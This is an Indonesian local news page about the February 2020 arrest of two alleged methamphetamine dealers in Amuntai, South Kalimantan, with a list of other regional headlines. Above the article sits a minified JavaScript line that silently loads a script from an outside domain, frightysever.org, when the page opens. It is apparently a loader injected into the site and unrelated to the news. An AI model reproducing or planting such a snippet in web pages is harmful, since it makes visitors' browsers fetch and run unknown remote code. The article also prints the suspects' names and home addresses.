(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Diincar Polisi, Dua ‘Pemain Lama’ Sabu di Amuntai Dibekuk


KANALKALIMANTAN.COM, AMUNTAI – Sudah lama menjadi incaran polisi, Umbul (24)  dan Yeni (32) akhirnya mengakhiri bisnis haram yang dilakoni berujung penjara, usai diringkus Sat Resnarkoba Polres Hulu Sungai Utara pada Kamis (13/2/2020).

Kedua tersangka, Umbul, warga jalan H Ali Gang Rawa Indah, Kelurahan Antasari, Kecamatan Amuntai Tengah dan  Yeni, warga jalan Abdul Aziz, Kelurahan Antasari, Kecamatan Amuntai Tengah, HSU. Keduanya tak berkutik setelah polisi menemukan barang bukti dua paket narkoba jenis sabu dengan berat kotor 2,98 gram -berat bersih 2.68 gram- saat dilakukan penggeledahan.

Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Sabtu (15/2/2020) membenarkan akan penangkapan kedua pelaku tersebut.

Menurut keterangan pihak polisi, kedua pelaku ditangkap saat berada di sebuah rumah tepatnya di jalan H Ali Gang Rawa Indah RT 005, Kelurahan Antasari, Kecamatan Amuntai Tengah saat anggotan polisi menjalankan program HSU Bersinar  (Hebat Sigap Untuk Bebas dari Narkoba), dimana sebelumnya telah melakukan penyelidikan.

Menurut Siswadi, kedua pelaku juga sudah lama menjadi incaran pihak kepolisian, karena merupakan pemain lama barang haram tersebut.

“Hubungannya mereka cuma teman, namun sudah lama bisnis tersebut, iya mas pemain lama,” ungkap mantan Kapolsek Danau Panggang ini saat dikonfirmasi Kanalkalimantan.com.

Dari hasil pengungkapan kasus ini pihak polisi berhasil mengamankan barang bukti lainnya diantaranya satu buah timbangan digital warna hitam, satu lembar tisu warna putih, satu buah sendok yang terbuat dari kertas, dua bungkus plastik piper klip, satu buah HP Samsung warna putih lengkap dengan sim card, satu buah bong plastik yang tersambung dengan 2 buah sedotan warna putih, satu buah pipet kaca yang di dalamnya berisikan narkotika jenis sabu, satu buah compor kecil yang terbuat dari kaca serta uang tunai sebesar Rp 305 ribu.

Atas hasil pengungkapan ini,  kedua pelaku bersama barang buktinya dibawa ke Mapolres HSU guna penyidikan lebih lanjut. (kanalkalimantan.com/dew)

 

 

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.